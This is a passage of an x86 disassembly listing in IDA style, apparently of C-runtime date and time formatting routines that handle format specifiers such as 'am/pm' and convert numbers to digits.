add edx, 1
mov [ebp+var_4], edx
loc_4380FE: ; CODE XREF: sub_437D10+3BFj
; sub_437D10+3E3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+var_4]
push edx
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_438119: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382CDo
cmp ds:dword_4F36A0, 0
jz short loc_438150
mov ds:dword_4F36A0, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A4h]
push edx
call sub_4384E0
add esp, 14h
jmp short loc_438172
; ---------------------------------------------------------------------------
loc_438150: ; CODE XREF: sub_437D10+410j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A0h]
push edx
call sub_4384E0
add esp, 14h
loc_438172: ; CODE XREF: sub_437D10+43Ej
jmp loc_438278
; ---------------------------------------------------------------------------
loc_438177: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382A1o
mov ds:dword_4F36A0, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A8h]
push edx
call sub_4384E0
add esp, 14h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_4381A8: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382D1o
mov eax, ds:dword_4F36A0
mov ds:dword_4F36A4, eax
mov ecx, [ebp+arg_4]
mov eax, [ecx+14h]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_4381DE: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382A5o
mov edx, ds:dword_4F36A0
mov ds:dword_4F36A4, edx
mov eax, [ebp+arg_4]
mov eax, [eax+14h]
cdq
mov ecx, 64h
idiv ecx
mov ecx, eax
add ecx, 13h
imul ecx, 64h
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
cdq
mov esi, 64h
idiv esi
add ecx, edx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 4
mov edx, [ebp+var_4]
push edx
call sub_438380
add esp, 10h
jmp short loc_438278
; ---------------------------------------------------------------------------
loc_43822B: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382A9o
call sub_433030
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
xor eax, eax
cmp dword ptr [edx+20h], 0
setnz al
mov ecx, ds:off_454514[eax*4]
push ecx
call sub_438330
add esp, 0Ch
jmp short loc_438278
; ---------------------------------------------------------------------------
loc_438256: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:off_43827Do
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 25h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_438278: ; CODE XREF: sub_437D10+1Bj
; sub_437D10+2Cj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_437D10 endp
; ---------------------------------------------------------------------------
off_43827D dd offset loc_438256 ; DATA XREF: sub_437D10+2Cr
dd offset loc_437D65
dd offset loc_437DAB
dd offset loc_437EF8
dd offset loc_437F20
dd offset loc_437FBF
dd offset loc_43802B
dd offset loc_438054
dd offset loc_438095
dd offset loc_438177
dd offset loc_4381DE
dd offset loc_43822B
dd offset loc_437D43
dd offset loc_437D88
dd offset loc_437DCE
dd offset loc_437ECE
dd offset loc_437F65
dd offset loc_437F92
dd offset loc_437FE7
dd offset loc_43806B
dd offset loc_438119
dd offset loc_4381A8
dd offset loc_438278
byte_4382D9 db 0 ; DATA XREF: sub_437D10+26r
dw 1616h
dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h
dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
dd 0CC0B1514h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438330 proc near ; CODE XREF: sub_437D10+48p
; sub_437D10+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
loc_438333: ; CODE XREF: sub_438330+44j
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 0
jz short loc_438376
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_438376
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_4]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_4]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
jmp short loc_438333
; ---------------------------------------------------------------------------
loc_438376: ; CODE XREF: sub_438330+9j
; sub_438330+13j
pop ebp
retn
sub_438330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438380 proc near ; CODE XREF: sub_437D10+1DBp
; sub_437D10+203p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
cmp ds:dword_4F36A4, 0
jz short loc_4383AA
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_438430
add esp, 0Ch
jmp short loc_438429
; ---------------------------------------------------------------------------
loc_4383AA: ; CODE XREF: sub_438380+12j
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
cmp ecx, [eax]
jnb short loc_438420
mov edx, [ebp+arg_4]
sub edx, 1
mov [ebp+arg_4], edx
jmp short loc_4383C8
; ---------------------------------------------------------------------------
loc_4383BF: ; CODE XREF: sub_438380+82j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
loc_4383C8: ; CODE XREF: sub_438380+3Dj
mov ecx, [ebp+arg_4]
add ecx, 1
test ecx, ecx
jz short loc_438404
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov eax, [ebp+arg_4]
mov [ecx+eax], dl
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_4383BF
; ---------------------------------------------------------------------------
loc_438404: ; CODE XREF: sub_438380+50j
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp short loc_438429
; ---------------------------------------------------------------------------
loc_438420: ; CODE XREF: sub_438380+32j
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_438429: ; CODE XREF: sub_438380+28j
; sub_438380+9Ej
mov esp, ebp
pop ebp
retn
sub_438380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438430 proc near ; CODE XREF: sub_438380+20p
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
jbe short loc_43848B
loc_438446: ; CODE XREF: sub_438430+59j
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jle short loc_43848B
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
ja short loc_438446
loc_43848B: ; CODE XREF: sub_438430+14j
; sub_438430+51j
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_4384A4: ; CODE XREF: sub_438430+A6j
mov edx, [ebp+var_4]
mov al, [edx]
mov [ebp+var_C], al
mov ecx, [ebp+var_4]
mov edx, [ebp+var_8]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
mov al, [ebp+var_C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jb short loc_4384A4
mov esp, ebp
pop ebp
retn
sub_438430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4384E0 proc near ; CODE XREF: sub_437D10+EBp
; sub_437D10+13Cp ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 30h
loc_4384E6: ; CODE XREF: sub_4384E0+2EAj
; sub_4384E0:loc_4388ABj ...
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_43895C
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_43895C
mov [ebp+var_8], 0
mov ds:dword_4F36A4, 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
jmp short loc_438526
; ---------------------------------------------------------------------------
loc_43851D: ; CODE XREF: sub_4384E0+5Fj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_438526: ; CODE XREF: sub_4384E0+3Bj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
cmp eax, edx
jnz short loc_438541
jmp short loc_43851D
; ---------------------------------------------------------------------------
loc_438541: ; CODE XREF: sub_4384E0+5Dj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
sub edx, 27h
mov [ebp+var_14], edx
cmp [ebp+var_14], 52h
ja loc_4388B0
mov ecx, [ebp+var_14]
xor eax, eax
mov al, byte_43898C[ecx]
jmp off_438960[eax*4]
loc_438578: ; DATA XREF: _0:0043896Co
mov edx, [ebp+var_C]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
sub eax, 1
mov [ebp+var_18], eax
cmp [ebp+var_18], 3
ja short loc_4385B1
mov ecx, [ebp+var_18]
jmp off_4389DF[ecx*4]
loc_438597: ; DATA XREF: _0:off_4389DFo
mov ds:dword_4F36A4, 1
loc_4385A1: ; CODE XREF: sub_4384E0+B0j
; DATA XREF: _0:004389E3o
mov [ebp+var_8], 6Dh
jmp short loc_4385B1
; ---------------------------------------------------------------------------
loc_4385A7: ; CODE XREF: sub_4384E0+B0j
; DATA XREF: _0:004389E7o
mov [ebp+var_8], 62h
jmp short loc_4385B1
; ---------------------------------------------------------------------------
loc_4385AD: ; CODE XREF: sub_4384E0+B0j
; DATA XREF: _0:004389EBo
mov [ebp+var_8], 42h
loc_4385B1: ; CODE XREF: sub_4384E0+ABj
; sub_4384E0+C5j ...
jmp loc_4388B0
; ---------------------------------------------------------------------------
loc_4385B6: ; CODE XREF: sub_4384E0+91j
; DATA XREF: _0:00438970o
mov edx, [ebp+var_C]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 3
ja short loc_4385EF
mov ecx, [ebp+var_1C]
jmp off_4389EF[ecx*4]
loc_4385D5: ; CODE XREF: sub_4384E0+B0j
; DATA XREF: _0:off_4389EFo
mov ds:dword_4F36A4, 1
loc_4385DF: ; CODE XREF: sub_4384E0+B0j
; sub_4384E0+EEj
mov [ebp+var_8], 64h
jmp short loc_4385EF
; ---------------------------------------------------------------------------
loc_4385E5: ; CODE XREF: sub_4384E0+B0j
; sub_4384E0+EEj
mov [ebp+var_8], 61h
jmp short loc_4385EF
; ---------------------------------------------------------------------------
loc_4385EB: ; CODE XREF: sub_4384E0+B0j
; sub_4384E0+EEj
mov [ebp+var_8], 41h
loc_4385EF: ; CODE XREF: sub_4384E0+E9j
; sub_4384E0+103j ...
jmp loc_4388B0
; ---------------------------------------------------------------------------
loc_4385F4: ; CODE XREF: sub_4384E0+91j
; DATA XREF: _0:00438984o
mov edx, [ebp+var_C]
mov [ebp+var_20], edx
cmp [ebp+var_20], 2
jz short loc_438608
cmp [ebp+var_20], 4
jz short loc_43860E
jmp short loc_438612
; ---------------------------------------------------------------------------
loc_438608: ; CODE XREF: sub_4384E0+11Ej
mov [ebp+var_8], 79h
jmp short loc_438612
; ---------------------------------------------------------------------------
loc_43860E: ; CODE XREF: sub_4384E0+124j
mov [ebp+var_8], 59h
loc_438612: ; CODE XREF: sub_4384E0+126j
; sub_4384E0+12Cj
jmp loc_4388B0
; ---------------------------------------------------------------------------
loc_438617: ; CODE XREF: sub_4384E0+91j
; DATA XREF: _0:00438974o
mov eax, [ebp+var_C]
mov [ebp+var_24], eax
cmp [ebp+var_24], 1
jz short loc_43862B
cmp [ebp+var_24], 2
jz short loc_438635
jmp short loc_438639
; ---------------------------------------------------------------------------
loc_43862B: ; CODE XREF: sub_4384E0+141j
mov ds:dword_4F36A4, 1
loc_438635: ; CODE XREF: sub_4384E0+147j
mov [ebp+var_8], 49h
loc_438639: ; CODE XREF: sub_4384E0+149j
jmp loc_4388B0
; ---------------------------------------------------------------------------
loc_43863E: ; CODE XREF: sub_4384E0+91j
; DATA XREF: _0:00438968o
mov ecx, [ebp+var_C]
mov [ebp+var_28], ecx
cmp [ebp+var_28], 1
jz short loc_438652
cmp [ebp+var_28], 2
jz short loc_43865C
jmp short loc_438660
; ---------------------------------------------------------------------------
loc_438652: ; CODE XREF: sub_4384E0+168j
mov ds:dword_4F36A4, 1
loc_43865C: ; CODE XREF: sub_4384E0+16Ej
mov [ebp+var_8], 48h
loc_438660: ; CODE XREF: sub_4384E0+170j
jmp loc_4388B0
; ---------------------------------------------------------------------------
loc_438665: ; CODE XREF: sub_4384E0+91j
; DATA XREF: _0:00438978o
mov edx, [ebp+var_C]
mov [ebp+var_2C], edx
cmp [ebp+var_2C], 1
jz short loc_438679
cmp [ebp+var_2C], 2
jz short loc_438683
jmp short loc_438687
; ---------------------------------------------------------------------------
loc_438679: ; CODE XREF: sub_4384E0+18Fj
mov ds:dword_4F36A4, 1
loc_438683: ; CODE XREF: sub_4384E0+195j
mov [ebp+var_8], 4Dh
loc_438687: ; CODE XREF: sub_4384E0+197j
jmp loc_4388B0
; ---------------------------------------------------------------------------
loc_43868C: ; CODE XREF: sub_4384E0+91j
; DATA XREF: _0:0043897Co
mov eax, [ebp+var_C]
mov [ebp+var_30], eax
cmp [ebp+var_30], 1
jz short loc_4386A0
cmp [ebp+var_30], 2
jz short loc_4386AA
jmp short loc_4386AE
; ---------------------------------------------------------------------------
loc_4386A0: ; CODE XREF: sub_4384E0+1B6j
mov ds:dword_4F36A4, 1
loc_4386AA: ; CODE XREF: sub_4384E0+1BCj
mov [ebp+var_8], 53h
loc_4386AE: ; CODE XREF: sub_4384E0+1BEj
jmp loc_4388B0
; ---------------------------------------------------------------------------
loc_4386B3: ; CODE XREF: sub_4384E0+91j
; DATA XREF: _0:00438964o
push offset aAmPm ; "am/pm"
mov ecx, [ebp+arg_0]
push ecx
call sub_420F10
add esp, 8
test eax, eax
jnz short loc_4386D3
mov edx, [ebp+arg_0]
add edx, 5
mov [ebp+var_4], edx
jmp short loc_4386F1
; ---------------------------------------------------------------------------
loc_4386D3: ; CODE XREF: sub_4384E0+1E6j
push offset aAP ; "a/p"
mov eax, [ebp+arg_0]
push eax
call sub_420F10
add esp, 8
test eax, eax
jnz short loc_4386F1
mov ecx, [ebp+arg_0]
add ecx, 3
mov [ebp+var_4], ecx
loc_4386F1: ; CODE XREF: sub_4384E0+1F1j
; sub_4384E0+206j
mov [ebp+var_8], 70h
jmp loc_4388B0
; ---------------------------------------------------------------------------
loc_4386FA: ; CODE XREF: sub_4384E0+91j
; DATA XREF: _0:00438980o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_438711
mov eax, [ebp+arg_10]
mov ecx, [eax+98h]
mov [ebp+var_10], ecx
jmp short loc_43871D
; ---------------------------------------------------------------------------
loc_438711: ; CODE XREF: sub_4384E0+221j
mov edx, [ebp+arg_10]
mov eax, [edx+9Ch]
mov [ebp+var_10], eax
loc_43871D: ; CODE XREF: sub_4384E0+22Fj
; sub_4384E0+2DFj
cmp [ebp+var_C], 0
jle loc_4387C4
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jbe loc_4387C4
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_438787
mov eax, [ebp+arg_C]
cmp dword ptr [eax], 1
jbe short loc_438787
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+var_10]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
loc_438787: ; CODE XREF: sub_4384E0+26Ej
; sub_4384E0+276j
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+var_10]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
jmp loc_43871D
; ---------------------------------------------------------------------------
loc_4387C4: ; CODE XREF: sub_4384E0+241j
; sub_4384E0+24Dj
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp loc_4384E6
; ---------------------------------------------------------------------------
loc_4387CF: ; CODE XREF: sub_4384E0+91j
; DATA XREF: _0:off_438960o
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jz loc_4388A2
mov edx, [ebp+arg_0]
add edx, [ebp+var_C]
mov [ebp+arg_0], edx
loc_4387E6: ; CODE XREF: sub_4384E0+3BBj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_4388A0
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_4388A0
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 27h
jnz short loc_438819
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp loc_4388A0
; ---------------------------------------------------------------------------
loc_438819: ; CODE XREF: sub_4384E0+329j
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_43886C
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 1
jbe short loc_43886C
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_43886C: ; CODE XREF: sub_4384E0+353j
; sub_4384E0+35Bj
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp loc_4387E6
; ---------------------------------------------------------------------------
loc_4388A0: ; CODE XREF: sub_4384E0+30Ej
; sub_4384E0+31Aj ...
jmp short loc_4388AB
; ---------------------------------------------------------------------------
loc_4388A2: ; CODE XREF: sub_4384E0+2F7j
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
mov [ebp+arg_0], eax
loc_4388AB: ; CODE XREF: sub_4384E0:loc_4388A0j
jmp loc_4384E6
; ---------------------------------------------------------------------------
loc_4388B0: ; CODE XREF: sub_4384E0+80j
; sub_4384E0+91j ...
movsx ecx, [ebp+var_8]
test ecx, ecx
jz short loc_4388DC
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov al, [ebp+var_8]
push eax
call sub_437D10
add esp, 14h
mov ecx, [ebp+var_4]
mov [ebp+arg_0], ecx
jmp short loc_438957
; ---------------------------------------------------------------------------
loc_4388DC: ; CODE XREF: sub_4384E0+3D6j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_438928
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_438928: ; CODE XREF: sub_4384E0+417j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_438957: ; CODE XREF: sub_4384E0+3FAj
jmp loc_4384E6
; ---------------------------------------------------------------------------
loc_43895C: ; CODE XREF: sub_4384E0+Ej
; sub_4384E0+1Aj
mov esp, ebp
pop ebp
retn
sub_4384E0 endp
; ---------------------------------------------------------------------------
off_438960 dd offset loc_4387CF ; DATA XREF: sub_4384E0+91r
dd offset loc_4386B3
dd offset loc_43863E
dd offset loc_438578
dd offset loc_4385B6
dd offset loc_438617
dd offset loc_438665
dd offset loc_43868C
dd offset loc_4386FA
dd offset loc_4385F4
dd offset loc_4388B0
byte_43898C db 0 ; DATA XREF: sub_4384E0+8Br
db 3 dup(0Ah)
dd 5 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah
dd 4 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A040Ah, 0A0A050Ah, 0A060A0Ah
dd 0A0A0A0Ah, 0A0A0807h
db 2 dup(0Ah), 9
off_4389DF dd offset loc_438597 ; DATA XREF: sub_4384E0+B0r
dd offset loc_4385A1
dd offset loc_4385A7
dd offset loc_4385AD
off_4389EF dd offset loc_4385D5 ; DATA XREF: sub_4384E0+EEr
; ---------------------------------------------------------------------------
fild word ptr [ebp-7A1AFFBDh]
inc ebx
add bl, ch
test [ebx+0], eax
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438A00 proc near ; CODE XREF: sub_433A50+41p
; sub_433A50+60p ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0A8h
cmp [ebp+arg_0], 1
jnz loc_438B69
mov eax, [ebp+arg_C]
mov [ebp+var_90], eax
lea ecx, [ebp+var_8C]
mov [ebp+var_C], ecx
mov [ebp+var_4], 0
mov [ebp+var_94], 80h
push 0
mov edx, [ebp+var_94]
push edx
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_439920
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz loc_438AEF
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_438A70
jmp loc_438B4D
; ---------------------------------------------------------------------------
loc_438A70: ; CODE XREF: sub_438A00+69j
push 0
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_439920
add esp, 14h
mov [ebp+var_94], eax
cmp [ebp+var_94], 0
jnz short loc_438A9A
jmp loc_438B4D
; ---------------------------------------------------------------------------
loc_438A9A: ; CODE XREF: sub_438A00+93j
push 58h
push offset aInithelp_c ; "inithelp.c"
push 2
mov edx, [ebp+var_94]
push edx
call sub_41BE70
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_438AC0
jmp loc_438B4D
; ---------------------------------------------------------------------------
loc_438AC0: ; CODE XREF: sub_438A00+B9j
mov [ebp+var_4], 1
push 0
mov eax, [ebp+var_94]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_439920
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_438AEF
jmp short loc_438B4D
; ---------------------------------------------------------------------------
loc_438AEF: ; CODE XREF: sub_438A00+5Aj
; sub_438A00+EBj
push 63h
push offset aInithelp_c ; "inithelp.c"
push 2
mov ecx, [ebp+var_8]
push ecx
call sub_41BE70
add esp, 10h
mov edx, [ebp+var_90]
mov [edx], eax
mov eax, [ebp+var_90]
cmp dword ptr [eax], 0
jnz short loc_438B19
jmp short loc_438B4D
; ---------------------------------------------------------------------------
loc_438B19: ; CODE XREF: sub_438A00+115j
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_90]
mov ecx, [eax]
push ecx
call sub_41E510
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_438B46
push 2
mov edx, [ebp+var_C]
push edx
call sub_41CA10
add esp, 8
loc_438B46: ; CODE XREF: sub_438A00+136j
xor eax, eax
jmp loc_438C86
; ---------------------------------------------------------------------------
loc_438B4D: ; CODE XREF: sub_438A00+6Bj
; sub_438A00+95j ...
cmp [ebp+var_4], 0
jz short loc_438B61
push 2
mov eax, [ebp+var_C]
push eax
call sub_41CA10
add esp, 8
loc_438B61: ; CODE XREF: sub_438A00+151j
or eax, 0FFFFFFFFh
jmp loc_438C86
; ---------------------------------------------------------------------------
loc_438B69: ; CODE XREF: sub_438A00+Dj
cmp [ebp+arg_0], 0
jnz loc_438C83
mov [ebp+var_A4], 4
mov ecx, [ebp+arg_C]
mov [ebp+var_9C], ecx
push 0
